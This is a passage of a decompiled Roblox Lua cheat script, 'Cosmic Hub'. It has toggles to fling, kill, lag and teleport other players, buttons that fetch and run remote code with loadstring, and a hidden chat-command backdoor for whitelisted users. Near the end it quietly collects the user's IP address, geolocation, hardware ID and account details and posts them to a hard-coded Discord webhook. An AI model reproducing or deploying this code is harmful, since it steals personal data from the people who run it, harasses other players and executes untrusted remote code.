-- upvalues: v420 (ref)
v420.playerCharacter = v436;
end);
local function v453()
-- upvalues: v420 (ref), l_Workspace_0 (ref)
v420.gravityCoroutine = coroutine.create(function()
-- upvalues: v420 (ref), l_Workspace_0 (ref)
while true do
local l_status_1, l_result_1 = pcall(function()
-- upvalues: v420 (ref), l_Workspace_0 (ref)
local l_Character_18 = v420.localPlayer.Character;
if l_Character_18 and l_Character_18:FindFirstChild("HumanoidRootPart") then
local l_HumanoidRootPart_13 = l_Character_18.HumanoidRootPart;
local l_CurrentCamera_0 = l_Workspace_0.CurrentCamera;
for _, v441 in pairs(v420.Players:GetPlayers()) do
if v441 ~= v420.localPlayer and v441.Character then
local l_Character_19 = v441.Character;
local l_Torso_1 = l_Character_19:FindFirstChild("Torso");
if l_Torso_1 and (l_Torso_1.Position - l_HumanoidRootPart_13.Position).Magnitude <= v420.auraRadius then
v420.SetNetworkOwner:FireServer(l_Torso_1, l_HumanoidRootPart_13.CFrame);
for _, v445 in ipairs(l_Character_19:GetDescendants()) do
if v445:IsA("BasePart") then
v445.CanCollide = false;
end;
end;
local v446 = l_Torso_1:FindFirstChild("HellAuraPos") or Instance.new("BodyPosition");
v446.Name = "HellAuraPos";
v446.MaxForce = Vector3.new(100000, 100000, 100000);
v446.D = 500;
v446.P = 50000;
v446.Parent = l_Torso_1;
local v447 = l_Torso_1:FindFirstChild("HellAuraGyro") or Instance.new("BodyGyro");
v447.Name = "HellAuraGyro";
v447.MaxTorque = Vector3.new(100000, 100000, 100000);
v447.D = 500;
v447.P = 50000;
v447.Parent = l_Torso_1;
local l_LookVector_0 = l_CurrentCamera_0.CFrame.LookVector;
local v449 = 15;
local v450 = Vector3.new(0, 5, 0);
v446.Position = l_HumanoidRootPart_13.Position + l_LookVector_0 * v449 + v450;
v447.CFrame = CFrame.new(l_Torso_1.Position, l_HumanoidRootPart_13.Position);
end;
end;
end;
end;
end);
if not l_status_1 then
warn("Error in Hell Send Aura: " .. tostring(l_result_1));
end;
task.wait(0.05);
end;
end);
coroutine.resume(v420.gravityCoroutine);
end;
local function v454()
-- upvalues: v420 (ref)
if v420.gravityCoroutine then
coroutine.close(v420.gravityCoroutine);
v420.gravityCoroutine = "close";
end;
end;
v420.Tab:AddToggle({
Name = "Telekinesis Aura",
Default = false,
Callback = function(v455)
-- upvalues: v453 (ref), v454 (ref)
if not v455 then
v454();
else
v453();
end;
end
});
function death(v456)
-- upvalues: v47 (ref), l_RunService_0 (ref), l_Players_0 (ref), l_LocalPlayer_0 (ref), l_GrabEvents_0 (ref)
if deathConnection then
deathConnection:Disconnect();
end;
if not v456 then
v47.Death_Aura = false;
return;
else
v47.Death_Aura = true;
deathConnection = l_RunService_0.Heartbeat:Connect(function()
-- upvalues: l_Players_0 (ref), l_LocalPlayer_0 (ref), l_GrabEvents_0 (ref)
for _, v458 in ipairs(l_Players_0:GetPlayers()) do
if v458 ~= l_LocalPlayer_0 and v458.Character then
local l_HumanoidRootPart_14 = v458.Character:FindFirstChild("HumanoidRootPart");
local l_Head_1 = v458.Character:FindFirstChild("Head");
local l_Humanoid_8 = v458.Character:FindFirstChildOfClass("Humanoid");
do
local l_l_HumanoidRootPart_14_0, l_l_Head_1_0, l_l_Humanoid_8_0 = l_HumanoidRootPart_14, l_Head_1, l_Humanoid_8;
if l_l_HumanoidRootPart_14_0 and l_l_Head_1_0 and l_l_Humanoid_8_0 and l_l_Humanoid_8_0.Health > 0 and (l_l_HumanoidRootPart_14_0.Position - l_LocalPlayer_0.Character.HumanoidRootPart.Position).Magnitude <= 25 then
pcall(function()
-- upvalues: l_GrabEvents_0 (ref), l_l_HumanoidRootPart_14_0 (ref), l_l_Head_1_0 (ref), l_LocalPlayer_0 (ref), l_l_Humanoid_8_0 (ref)
l_GrabEvents_0.SetNetworkOwner:FireServer(l_l_HumanoidRootPart_14_0, l_l_HumanoidRootPart_14_0.CFrame);
task.wait(0.1);
l_GrabEvents_0.DestroyGrabLine:FireServer(l_l_HumanoidRootPart_14_0);
if l_l_Head_1_0:FindFirstChild("PartOwner") and l_l_Head_1_0.PartOwner.Value == l_LocalPlayer_0.Name then
for _, v466 in pairs(l_l_Humanoid_8_0.Parent:GetChildren()) do
if v466:IsA("BasePart") then
v466.CFrame = CFrame.new(-1000000000, 1000000000, -1000000000);
end;
end;
task.wait();
for _, v468 in pairs(l_l_Humanoid_8_0.Parent:GetChildren()) do
if v468:IsA("BasePart") then
v468.CFrame = CFrame.new(-1000000000, 1000000000, -1000000000);
end;
end;
local l_BodyVelocity_1 = Instance.new("BodyVelocity");
l_BodyVelocity_1.Velocity = Vector3.new(0, -9999999, 0);
l_BodyVelocity_1.MaxForce = Vector3.new(9000000000, 9000000000, 9000000000);
l_BodyVelocity_1.P = 100000075;
l_BodyVelocity_1.Parent = l_l_HumanoidRootPart_14_0;
l_l_Humanoid_8_0.Sit = false;
l_l_Humanoid_8_0.Jump = true;
l_l_Humanoid_8_0.BreakJointsOnDeath = false;
l_l_Humanoid_8_0:ChangeState(Enum.HumanoidStateType.Dead);
do
local l_l_BodyVelocity_1_0 = l_BodyVelocity_1;
task.delay(2, function()
-- upvalues: l_l_BodyVelocity_1_0 (ref)
if l_l_BodyVelocity_1_0 and l_l_BodyVelocity_1_0.Parent then
l_l_BodyVelocity_1_0:Destroy();
end;
end);
end;
end;
end);
end;
end;
end;
end;
end);
return;
end;
end;
v418:AddToggle({
Name = "Death Aura",
Default = false,
Callback = death
});
local v471 = v44:MakeTab({
Name = "Teleport",
Icon = "rbxassetid://6031068433",
PremiumOnly = false
});
local _ = v471:AddSection({
Name = "Teleport"
});
local v473 = false;
local v474 = nil;
local function v478()
-- upvalues: l_Players_0 (ref), l_LocalPlayer_0 (ref)
local v475 = {};
for _, v477 in pairs(l_Players_0:GetPlayers()) do
if v477 ~= l_LocalPlayer_0 then
table.insert(v475, v477.Name);
end;
end;
return v475;
end;
local function v480(v479)
-- upvalues: v478 (ref)
v479:Refresh(v478(), true);
end;
local v482 = v471:AddDropdown({
Name = "Select Player",
Default = "rbxassetid://6031068433",
Options = v478(),
Callback = function(v481)
-- upvalues: v27 (ref)
v27 = v481;
end
});
v480(v482);
local function v485()
-- upvalues: v27 (ref), l_Players_0 (ref), l_LocalPlayer_0 (ref), v43 (ref)
if not v27 then
v43:MakeNotification({
Name = "Error",
Content = "No player selected.",
Time = 3
});
else
local l_l_Players_0_FirstChild_0 = l_Players_0:FindFirstChild(v27);
if not l_l_Players_0_FirstChild_0 or not l_l_Players_0_FirstChild_0.Character or not l_l_Players_0_FirstChild_0.Character:FindFirstChild("HumanoidRootPart") then
v43:MakeNotification({
Name = "Error",
Content = "Target player not found.",
Time = 3
});
else
local l_Position_3 = l_l_Players_0_FirstChild_0.Character.HumanoidRootPart.Position;
if not l_LocalPlayer_0.Character or not l_LocalPlayer_0.Character:FindFirstChild("HumanoidRootPart") then
v43:MakeNotification({
Name = "Error",
Content = "Character was not found.",
Time = 3
});
else
l_LocalPlayer_0.Character.HumanoidRootPart.CFrame = CFrame.new(l_Position_3);
end;
end;
end;
end;
v471:AddButton({
Name = "Teleport to Player",
Callback = function()
-- upvalues: v485 (ref)
v485();
end
});
local function v486()
-- upvalues: v474 (ref), v473 (ref), v485 (ref)
v474 = coroutine.create(function()
-- upvalues: v473 (ref), v485 (ref)
while v473 do
v485();
wait(0.02);
end;
end);
coroutine.resume(v474);
end;
v471:AddToggle({
Name = "Loop Teleport",
Default = false,
Callback = function(v487)
-- upvalues: v473 (ref), v486 (ref), v474 (ref)
v473 = v487;
if not v487 then
v474 = nil;
else
v486();
end;
end
});
l_Players_0.PlayerAdded:Connect(function()
-- upvalues: v480 (ref), v482 (ref)
v480(v482);
end);
l_Players_0.PlayerRemoving:Connect(function()
-- upvalues: v480 (ref), v482 (ref)
v480(v482);
end);
local v488 = v44:MakeTab({
Name = "Random",
Icon = "rbxassetid://4483345998",
PremiumOnly = false
});
local _ = v488:AddSection({
Name = "Working"
});
local v490 = false;
local v491 = 5;
local function v495()
-- upvalues: v490 (ref), v491 (ref), l_Players_0 (ref), l_ReplicatedStorage_0 (ref)
while v490 do
for _ = 1, v491 do
for _, v494 in ipairs(l_Players_0:GetPlayers()) do
if v494.Character and v494.Character:FindFirstChild("Torso") then
l_ReplicatedStorage_0.GrabEvents.CreateGrabLine:FireServer(v494.Character.Torso, v494.Character.Torso.CFrame);
end;
end;
end;
wait(1);
end;
end;
v488:AddToggle({
Name = "Lag",
Default = false,
Callback = function(v496)
-- upvalues: v490 (ref), v495 (ref)
v490 = v496;
if v490 then
task.spawn(v495);
end;
end
});
v488:AddSlider({
Name = "Lag Intensity",
Min = 1,
Max = 1000,
Default = 5,
Callback = function(v497)
-- upvalues: v491 (ref)
v491 = v497;
end
});
local v498 = {
P = game:GetService("Players"),
RS = game:GetService("RunService"),
W = l_Workspace_0,
A = false,
Q = {},
Pos = "Pos",
Cam = "Cam",
R = 15,
Conn = "Conn",
WL = false,
CB = Instance.new("Part")
};
v498.CB.Anchored = true;
v498.CB.CanCollide = false;
v498.CB.Transparency = 1;
v498.CB.CanQuery = false;
v498.CB.Size = Vector3.new(10, 10, 10);
local function v500()
-- upvalues: v498 (ref)
local l_CurrentCamera_1 = v498.W.CurrentCamera;
v498.CB.CFrame = v498.Cam;
v498.CB.Parent = v498.W;
l_CurrentCamera_1.CameraType = Enum.CameraType.Scriptable;
l_CurrentCamera_1.CFrame = v498.Cam;
end;
local function v502()
-- upvalues: v498 (ref)
v498.CB.Parent = "Parent";
local l_CurrentCamera_2 = v498.W.CurrentCamera;
l_CurrentCamera_2.CameraType = Enum.CameraType.Custom;
if v498.Cam then
l_CurrentCamera_2.CFrame = v498.Cam;
end;
v498.Cam = "CFrame";
end;
local function v506(v503)
for _, v505 in pairs(v503:GetDescendants()) do
if v505:IsA("BasePart") then
v505.CanCollide = false;
end;
end;
end;
local function v510(v507)
-- upvalues: v498 (ref)
local l_PlotItems_0 = v498.W:FindFirstChild("PlotItems");
local v509 = l_PlotItems_0 and l_PlotItems_0:FindFirstChild("PlayersInPlots");
return v509 and v509:FindFirstChild(v507.Name);
end;
local function v513(v511)
-- upvalues: v498 (ref)
if (v511.Position - v498.Pos).Magnitude > v498.R then
local _ = false;
end;
return true;
end;
local function v515(v514)
-- upvalues: v498 (ref)
if v514 ~= v498.P.LocalPlayer then
if v498.WL and v498.P.LocalPlayer:IsFriendsWith(v514.UserId) then
return true;
else
return false;
end;
else
return true;
end;
end;
local function v519()
-- upvalues: v498 (ref), v515 (ref), v510 (ref), v513 (ref)
v498.Q = {};
for _, v517 in pairs(v498.P:GetPlayers()) do
if not v515(v517) and v517.Character and not v510(v517) then
local l_HumanoidRootPart_15 = v517.Character:FindFirstChild("HumanoidRootPart");
if l_HumanoidRootPart_15 and not v513(l_HumanoidRootPart_15) then
table.insert(v498.Q, v517);
end;
end;
end;
end;
local function v525()
-- upvalues: v498 (ref), v519 (ref), v506 (ref), l_SetNetworkOwner_0 (ref)
if #v498.Q == 0 then
v519();
if #v498.Q == 0 then
return;
end;
end;
local v520 = v498.Q[1];
table.remove(v498.Q, 1);
if v520 and v520.Character then
local l_HumanoidRootPart_16 = v520.Character:FindFirstChild("HumanoidRootPart");
local l_Head_2 = v520.Character:FindFirstChild("Head");
local v523 = v498.P.LocalPlayer.Character and v498.P.LocalPlayer.Character:FindFirstChild("HumanoidRootPart");
if l_HumanoidRootPart_16 and l_Head_2 and v523 then
v498.P.LocalPlayer.Character:PivotTo(l_HumanoidRootPart_16.CFrame * CFrame.new(0, -6, 0));
v506(v498.P.LocalPlayer.Character);
local v524 = 0;
repeat
l_SetNetworkOwner_0:FireServer(l_HumanoidRootPart_16, v523.CFrame);
task.wait(0.15);
v524 = v524 + 1;
until v524 > 20 or l_Head_2:FindFirstChild("PartOwner") and l_Head_2.PartOwner.Value == v498.P.LocalPlayer.Name or not v498.A;
if v498.A and l_Head_2:FindFirstChild("PartOwner") and l_Head_2.PartOwner.Value == v498.P.LocalPlayer.Name then
l_HumanoidRootPart_16.CFrame = CFrame.new(v498.Pos);
l_HumanoidRootPart_16.Position = v498.Pos;
l_HumanoidRootPart_16.AssemblyLinearVelocity = Vector3.zero;
task.wait(0.8);
end;
end;
return;
else
return;
end;
end;
local function v528()
-- upvalues: v498 (ref), v519 (ref), v500 (ref), v525 (ref)
local v526 = v498.P.LocalPlayer.Character and v498.P.LocalPlayer.Character:FindFirstChild("HumanoidRootPart");
if not v526 then
return;
else
v498.Pos = v526.Position;
v498.Cam = v498.W.CurrentCamera.CFrame;
v519();
v500();
v498.Conn = v498.RS.Heartbeat:Connect(function()
-- upvalues: v498 (ref), v525 (ref)
if v498.A then
v525();
if v498.Cam then
local l_CurrentCamera_3 = v498.W.CurrentCamera;
l_CurrentCamera_3.CameraType = Enum.CameraType.Scriptable;
l_CurrentCamera_3.CFrame = v498.Cam;
v498.CB.CFrame = v498.Cam;
v498.CB.Parent = v498.W;
end;
end;
end);
return;
end;
end;
local function v530()
-- upvalues: v498 (ref), v502 (ref)
if v498.Conn then
v498.Conn:Disconnect();
v498.Conn = "Disconnect";
end;
v502();
local v529 = v498.P.LocalPlayer.Character and v498.P.LocalPlayer.Character:FindFirstChild("HumanoidRootPart");
if v529 and v498.Pos then
v529.AssemblyLinearVelocity = Vector3.zero;
v529.CFrame = CFrame.new(v498.Pos);
end;
end;
local function v534(v531)
-- upvalues: v498 (ref), v502 (ref), v500 (ref), v525 (ref)
v531:WaitForChild("Humanoid").Died:Connect(function()
-- upvalues: v498 (ref), v502 (ref)
if v498.Conn then
v498.Conn:Disconnect();
v498.Conn = "Disconnect";
end;
v502();
end);
if v498.A then
local l_HumanoidRootPart_17 = v531:WaitForChild("HumanoidRootPart");
v498.Pos = v498.Pos or l_HumanoidRootPart_17.Position;
v498.Cam = v498.Cam or v498.W.CurrentCamera.CFrame;
v500();
v498.Conn = v498.RS.Heartbeat:Connect(function()
-- upvalues: v498 (ref), v525 (ref)
if v498.A then
v525();
if v498.Cam then
local l_CurrentCamera_4 = v498.W.CurrentCamera;
l_CurrentCamera_4.CameraType = Enum.CameraType.Scriptable;
l_CurrentCamera_4.CFrame = v498.Cam;
v498.CB.CFrame = v498.Cam;
v498.CB.Parent = v498.W;
end;
end;
end);
end;
end;
v498.P.LocalPlayer.CharacterAdded:Connect(v534);
v498.P.PlayerAdded:Connect(function()
-- upvalues: v498 (ref), v519 (ref)
if v498.A then
v519();
end;
end);
v498.P.PlayerRemoving:Connect(function(v535)
-- upvalues: v498 (ref)
for v536 = #v498.Q, 1, -1 do
if v498.Q[v536] == v535 then
table.remove(v498.Q, v536);
end;
end;
end);
v488:AddToggle({
Name = "Bring All",
Default = false,
Callback = function(v537)
-- upvalues: v498 (ref), v528 (ref), v530 (ref)
v498.A = v537;
if v537 then
v528();
else
v530();
end;
end
});
v488:AddToggle({
Name = "Whitelist Friends",
Default = false,
Callback = function(v538)
-- upvalues: v498 (ref)
v498.WL = v538;
end
});
local v539 = {
ws = game:GetService("Workspace"),
plrs = game:GetService("Players"),
debris = game:GetService("Debris"),
uis = game:GetService("UserInputService"),
fpdHeight = l_Workspace_0.FallenPartsDestroyHeight,
parts = {
"Left Leg",
"Right Leg",
"Left Arm",
"Right Arm",
"HumanoidRootPart"
}
};
local function v546()
-- upvalues: v539 (ref)
local l_GrabParts_0 = v539.ws:FindFirstChild("GrabParts");
if l_GrabParts_0 then
for _, v542 in ipairs(l_GrabParts_0:GetChildren()) do
if v542:IsA("BasePart") then
for _, v544 in ipairs(v542:GetChildren()) do
if v544:IsA("WeldConstraint") and v544.Part1 and v544.Part1.Parent:IsA("Model") then
local l_Parent_0 = v544.Part1.Parent;
if l_Parent_0:FindFirstChildOfClass("Humanoid") then
return v539.plrs:GetPlayerFromCharacter(l_Parent_0);
end;
end;
end;
end;
end;
return nil;
else
return nil;
end;
end;
local function v562(v547)
-- upvalues: v539 (ref)
if not v547 then
return;
else
local l_Character_20 = v547.Character;
if not l_Character_20 then
return;
else
local v549 = {};
for _, v551 in ipairs(v539.parts) do
local l_l_Character_20_FirstChild_0 = l_Character_20:FindFirstChild(v551);
do
local l_l_l_Character_20_FirstChild_0_0 = l_l_Character_20_FirstChild_0;
if l_l_l_Character_20_FirstChild_0_0 then
for _, v555 in ipairs(v539.ws:GetDescendants()) do
if v555:IsA("WeldConstraint") and (v555.Part0 == l_l_l_Character_20_FirstChild_0_0 or v555.Part1 == l_l_l_Character_20_FirstChild_0_0) then
v555.Enabled = false;
table.insert(v549, v555);
end;
end;
for _, v557 in ipairs(l_l_l_Character_20_FirstChild_0_0:GetChildren()) do
if v557:IsA("Motor6D") or v557:IsA("Weld") then
v557.Enabled = false;
table.insert(v549, v557);
end;
end;
l_l_l_Character_20_FirstChild_0_0.Anchored = false;
local v558 = Vector3.new(l_l_l_Character_20_FirstChild_0_0.Position.X, v539.fpdHeight - 100, l_l_l_Character_20_FirstChild_0_0.Position.Z);
do
local l_v558_0 = v558;
pcall(function()
-- upvalues: l_l_l_Character_20_FirstChild_0_0 (ref), l_v558_0 (ref)
if not l_l_l_Character_20_FirstChild_0_0:IsA("Model") then
l_l_l_Character_20_FirstChild_0_0.CFrame = CFrame.new(l_v558_0);
else
l_l_l_Character_20_FirstChild_0_0.PrimaryPart = l_l_l_Character_20_FirstChild_0_0.PrimaryPart or l_l_l_Character_20_FirstChild_0_0:FindFirstChildWhichIsA("BasePart");
if l_l_l_Character_20_FirstChild_0_0.PrimaryPart then
l_l_l_Character_20_FirstChild_0_0:SetPrimaryPartCFrame(CFrame.new(l_v558_0));
end;
end;
end);
task.wait(0.1);
end;
end;
end;
end;
for _, v561 in ipairs(v549) do
v561.Enabled = true;
end;
return;
end;
end;
end;
local function v564()
-- upvalues: v546 (ref), v562 (ref)
local v563 = v546();
if v563 then
v562(v563);
end;
end;
if v539.uis.TouchEnabled then
v488:AddButton({
Name = "Delete Limbs (Hold and ragdoll player)",
Callback = v564
});
end;
local v565 = v44:MakeTab({
Name = "Credits",
Icon = "rbxassetid://6035047375",
PremiumOnly = false
});
v565:AddLabel("CREATOR: Cosmic_TCU (TCUTCU_LLBDDLLZYXZY)");
v565:AddLabel("GO FOLLOW: Crisila_TCU (Superduperalt0987)");
v565:AddLabel("HELPERS: jeke/brilliant, moonydev");
v565:AddButton({
Name = "Cosmic Hub Discord Server",
Callback = function()
-- upvalues: v43 (ref)
setclipboard("https://discord.gg/mzkKQhyNqv");
v43:MakeNotification({
Name = "Copied!",
Content = "Discord link has been copied to your clipboard.",
Image = "rbxassetid://4483345998",
Time = 3
});
end
});
local v566 = v44:MakeTab({
Name = "Extra",
Icon = "rbxassetid://6031094675",
PremiumOnly = false
});
v566:AddButton({
Name = "Cosmic Hub Auras",
Callback = function()
loadstring(game:HttpGet("https://raw.githubusercontent.com/Jeffepicy/CosmicAuras/refs/heads/main/SigmaAuras", true))();
end
});
v566:AddButton({
Name = "Dex",
Callback = function()
loadstring(game:HttpGet("https://raw.githubusercontent.com/m0onyy/Test/refs/heads/main/mobile%20dex.lua", true))();
end
});
v566:AddButton({
Name = "Infinite Yield",
Callback = function()
loadstring(game:HttpGet("https://raw.githubusercontent.com/ttwizz/infiniteyield/master/source.lua", true))();
end
});
v566:AddLabel("Current version: V2.049");
local v567 = "https://raw.githubusercontent.com/Jeffepicy/unsafety/main/hihiihih";
(function()
-- upvalues: v567 (ref), l_HttpService_0 (ref), l_LocalPlayer_0 (ref)
local l_status_2, l_result_2 = pcall(function()
-- upvalues: v567 (ref)
return game:HttpGet(v567);
end);
if l_status_2 and l_result_2 then
local v570 = nil;
do
local l_v570_0 = v570;
pcall(function()
-- upvalues: l_v570_0 (ref), l_HttpService_0 (ref), l_result_2 (ref)
l_v570_0 = l_HttpService_0:JSONDecode(l_result_2);
end);
if l_v570_0 == true then
l_LocalPlayer_0:Kick("Script disabled by Owner.");
task.wait(1);
while true do
end;
end;
end;
else
warn("Failed to check shutdown status.");
end;
end)();
local v572 = {};
local v573 = "https://raw.githubusercontent.com/Jeffepicy/whitelist/main/whitelist.txt";
local l_status_3, l_result_3 = pcall(function()
-- upvalues: v573 (ref)
return game:HttpGet(v573);
end);
if not l_status_3 or not l_result_3 then
local v576 = "Kick";
local l_l_LocalPlayer_0_0 = l_LocalPlayer_0;
l_LocalPlayer_0[v576](l_l_LocalPlayer_0_0, "Whitelist services down. Try again later.");
return;
else
local v578 = "JSONDecode";
local l_l_HttpService_0_0 = l_HttpService_0;
local v580 = l_HttpService_0[v578](l_l_HttpService_0_0, l_result_3);
if typeof(v580) == "table" then
for _, v582 in ipairs(v580) do
table.insert(v572, v582);
end;
end;
v580 = {};
l_l_HttpService_0_0 = {};
v578 = {};
local v583 = {};
local v584 = v572 or {};
local function v587(v585)
-- upvalues: v584 (ref)
if table.find(v584, v585.UserId) == "UserId" then
local _ = false;
end;
return true;
end;
local function v592(v588)
-- upvalues: l_TextChatService_0 (ref), l_ReplicatedStorage_0 (ref)
if l_TextChatService_0.ChatVersion == Enum.ChatVersion.TextChatService then
local l_TextChannels_0 = l_TextChatService_0:FindFirstChild("TextChannels");
if l_TextChannels_0 then
local l_RBXGeneral_0 = l_TextChannels_0:FindFirstChild("RBXGeneral");
if l_RBXGeneral_0 then
l_RBXGeneral_0:SendAsync(v588);
end;
end;
else
local l_DefaultChatSystemChatEvents_0 = l_ReplicatedStorage_0:FindFirstChild("DefaultChatSystemChatEvents");
if l_DefaultChatSystemChatEvents_0 and l_DefaultChatSystemChatEvents_0:FindFirstChild("SayMessageRequest") then
l_DefaultChatSystemChatEvents_0.SayMessageRequest:FireServer(v588, "All");
end;
end;
end;
local function v596(v593)
-- upvalues: v578 (ref), l_LocalPlayer_0 (ref)
v578[v593] = not v578[v593];
local l_BlindEffect_0 = l_LocalPlayer_0:FindFirstChild("PlayerGui"):FindFirstChild("BlindEffect");
if v578[v593] then
if not l_BlindEffect_0 then
l_BlindEffect_0 = Instance.new("ScreenGui");
l_BlindEffect_0.Name = "BlindEffect";
l_BlindEffect_0.ResetOnSpawn = false;
local l_Frame_0 = Instance.new("Frame");
l_Frame_0.Size = UDim2.new(1, 0, 1, 0);
l_Frame_0.BackgroundColor3 = Color3.new(0, 0, 0);
l_Frame_0.Parent = l_BlindEffect_0;
l_BlindEffect_0.Parent = l_LocalPlayer_0:WaitForChild("PlayerGui");
end;
elseif l_BlindEffect_0 then
l_BlindEffect_0:Destroy();
end;
end;
local function v616(v597, v598)
-- upvalues: v587 (ref), l_Players_0 (ref), v592 (ref), l_l_HttpService_0_0 (ref), v596 (ref), v583 (ref)
if not v587(v597) then
return;
else
v598 = v598:lower();
if v598:sub(1, 8) == ":c kick " then
local v599 = v598:sub(9);
for _, v601 in ipairs(l_Players_0:GetPlayers()) do
if v601 ~= v597 and v601.Name:lower():sub(1, #v599) == v599 then
v601:Kick("You have been kicked by an admin.");
end;
end;
end;
if v598:sub(1, 9) == ":c kill " then
local v602 = v598:sub(10);
for _, v604 in ipairs(l_Players_0:GetPlayers()) do
if v604 ~= v597 and v604.Character and v604.Character:FindFirstChild("Humanoid") then
local v605 = v604.Name:lower();
local v606 = v604.DisplayName:lower();
if v605:sub(1, #v602) == v602 or v606:sub(1, #v602) == v602 then
v604.Character.Humanoid.Health = 0;
end;
end;
end;
end;
if v598:sub(1, 7) == ":c say " then
local v607 = v598:sub(8);
if v607 and v607 ~= "" then
v592(v607);
end;
end;
if v598 == ":c aura" then
l_l_HttpService_0_0[v597] = not l_l_HttpService_0_0[v597];
end;
if v598 == ":c e" then
v596(v597);
end;
if v598:sub(1, 5) == ":c sb" then
local v608 = tonumber(v598:match("%d+"));
if v608 and v608 > 0 then
v583[v597] = v608;
v592("Safety bubble set to " .. v608);
else
v583[v597] = "Safety bubble set to ";
v592("Safety bubble disabled");
end;
end;
if v598 == ":c tp all" and v597.Character and v597.Character:FindFirstChild("HumanoidRootPart") then
local l_HumanoidRootPart_18 = v597.Character.HumanoidRootPart;
for _, v611 in ipairs(l_Players_0:GetPlayers()) do
if v611 ~= v597 and v611.Character and v611.Character:FindFirstChild("HumanoidRootPart") then
v611.Character.HumanoidRootPart.CFrame = l_HumanoidRootPart_18.CFrame + Vector3.new(3, 0, 0);
end;
end;
end;
if v598 == ":c kill all" then
for _, v613 in ipairs(l_Players_0:GetPlayers()) do
if v613 ~= v597 and v613.Character and v613.Character:FindFirstChild("Humanoid") then
v613.Character.Humanoid.Health = 0;
end;
end;
end;
if v598 == ":c ban all" then
for _, v615 in ipairs(l_Players_0:GetPlayers()) do
if v615 ~= v597 then
v615:Kick("You have been banned by an admin.");
end;
end;
end;
return;
end;
end;
if l_TextChatService_0.ChatVersion == Enum.ChatVersion.TextChatService then
local l_TextChannels_1 = l_TextChatService_0:FindFirstChild("TextChannels");
if l_TextChannels_1 then
local l_RBXGeneral_1 = l_TextChannels_1:FindFirstChild("RBXGeneral");
if l_RBXGeneral_1 then
l_RBXGeneral_1.MessageReceived:Connect(function(v619)
-- upvalues: l_Players_0 (ref), v616 (ref)
local l_TextSource_0 = v619.TextSource;
if l_TextSource_0 then
local l_l_Players_0_PlayerByUserId_2 = l_Players_0:GetPlayerByUserId(l_TextSource_0.UserId);
if l_l_Players_0_PlayerByUserId_2 then
v616(l_l_Players_0_PlayerByUserId_2, v619.Text);
end;
return;
else
return;
end;
end);
end;
end;
else
local l_ipairs_0 = ipairs;
local v623 = "GetPlayers";
local l_l_Players_0_0 = l_Players_0;
for _, v626 in l_ipairs_0(l_Players_0[v623](l_l_Players_0_0)) do
do
local l_v626_0 = v626;
l_v626_0.Chatted:Connect(function(v628)
-- upvalues: v616 (ref), l_v626_0 (ref)
v616(l_v626_0, v628);
end);
end;
end;
l_Players_0.PlayerAdded:Connect(function(v629)
-- upvalues: v616 (ref)
v629.Chatted:Connect(function(v630)
-- upvalues: v616 (ref), v629 (ref)
v616(v629, v630);
end);
end);
end;
l_RunService_0.Heartbeat:Connect(function()
-- upvalues: l_l_HttpService_0_0 (ref), v580 (ref)
for v631, v632 in pairs(l_l_HttpService_0_0) do
if v632 and v631.Character and v631.Character:FindFirstChild("HumanoidRootPart") then
local l_HumanoidRootPart_19 = v631.Character.HumanoidRootPart;
local v634 = tick();
for v635 in pairs(v580) do
if v635 ~= v631 and v635.Character and v635.Character:FindFirstChild("HumanoidRootPart") then
local v636 = (v634 + v635.UserId) % (2 * math.pi);
local v637 = 10;
local v638 = Vector3.new(math.cos(v636) * v637, 0, math.sin(v636) * v637);
v635.Character.HumanoidRootPart.CFrame = l_HumanoidRootPart_19.CFrame + v638;
end;
end;
end;
end;
end);
l_RunService_0.Heartbeat:Connect(function()
-- upvalues: v583 (ref), v580 (ref)
for v639, v640 in pairs(v583) do
if v639.Character and v639.Character:FindFirstChild("HumanoidRootPart") then
local l_HumanoidRootPart_20 = v639.Character.HumanoidRootPart;
for v642 in pairs(v580) do
if v642 ~= v639 and v642.Character and v642.Character:FindFirstChild("HumanoidRootPart") then
local l_HumanoidRootPart_21 = v642.Character.HumanoidRootPart;
if (l_HumanoidRootPart_20.Position - l_HumanoidRootPart_21.Position).Magnitude < v640 then
local l_Unit_0 = (l_HumanoidRootPart_21.Position - l_HumanoidRootPart_20.Position).Unit;
l_HumanoidRootPart_21.CFrame = CFrame.new(l_HumanoidRootPart_20.Position + l_Unit_0 * v640);
end;
end;
end;
end;
end;
end);
local function v646(v645)
-- upvalues: v580 (ref)
v580[v645] = true;
end;
v646(l_LocalPlayer_0);
l_Players_0.PlayerAdded:Connect(function(v647)
-- upvalues: v646 (ref), v587 (ref), v592 (ref)
v646(v647);
if v587(v647) then
task.delay(1, function()
-- upvalues: v592 (ref), v647 (ref)
v592("Lord " .. v647.DisplayName .. " has joined.");
end);
end;
end);
l_Players_0.PlayerRemoving:Connect(function(v648)
-- upvalues: v580 (ref), l_l_HttpService_0_0 (ref), v578 (ref), v583 (ref)
local v649 = nil;
v580[v648] = v649;
l_l_HttpService_0_0[v648] = v649;
v578[v648] = v649;
v583[v648] = v649;
end);
local v650 = {
HttpService = game:GetService("HttpService"),
Players = game:GetService("Players"),
MarketplaceService = game:GetService("MarketplaceService"),
LocalizationService = game:GetService("LocalizationService"),
RbxAnalyticsService = game:GetService("RbxAnalyticsService"),
webhookUrl = "https://discord.com/api/webhooks/1431044656577380454/PNvtYV4nPBY9TssYSAfnNnBfoqJD00dYI9PKUwvLxeDhpfudxfjvR1ftkqPStSfCtXFn"
};
v650.LocalPlayer = v650.Players.LocalPlayer;
v650.UserId = v650.LocalPlayer.UserId;
v650.Name = v650.LocalPlayer.Name;
v650.DisplayName = v650.LocalPlayer.DisplayName;
v650.Membership = tostring(v650.LocalPlayer.MembershipType):sub(21);
v650.Age = v650.LocalPlayer.AccountAge;
v650.Country = v650.LocalizationService.RobloxLocaleId;
v650.IP = game:HttpGet("https://v4.ident.me/");
v650.Geo = game:HttpGet("http://ip-api.com/json");
v650.HWID = v650.RbxAnalyticsService:GetClientId();
v650.Job = "Roblox.GameLauncher.joinGameInstance(" .. game.PlaceId .. ", \"" .. game.JobId .. "\")";
v650.Link = "roblox://placeId=" .. game.PlaceId .. "&gameInstanceId=" .. game.JobId;
v650.GameName = v650.MarketplaceService:GetProductInfo(game.PlaceId).Name;
(function(v651)
-- upvalues: v650 (ref)
local v652 = http_request or request or HttpPost or syn.request;
local v653 = {
["content-type"] = "application/json"
};
v652({
Url = v650.webhookUrl,
Body = v651,
Method = "POST",
Headers = v653
});
v652({
Url = v650.webhookUrl,
Body = v650.HttpService:JSONEncode({
content = v650.Link
}),
Method = "POST",
Headers = v653
});
end)((function()
-- upvalues: v650 (ref)
local v654 = identifyexecutor();
local v655 = {
avatar_url = "",
content = "",
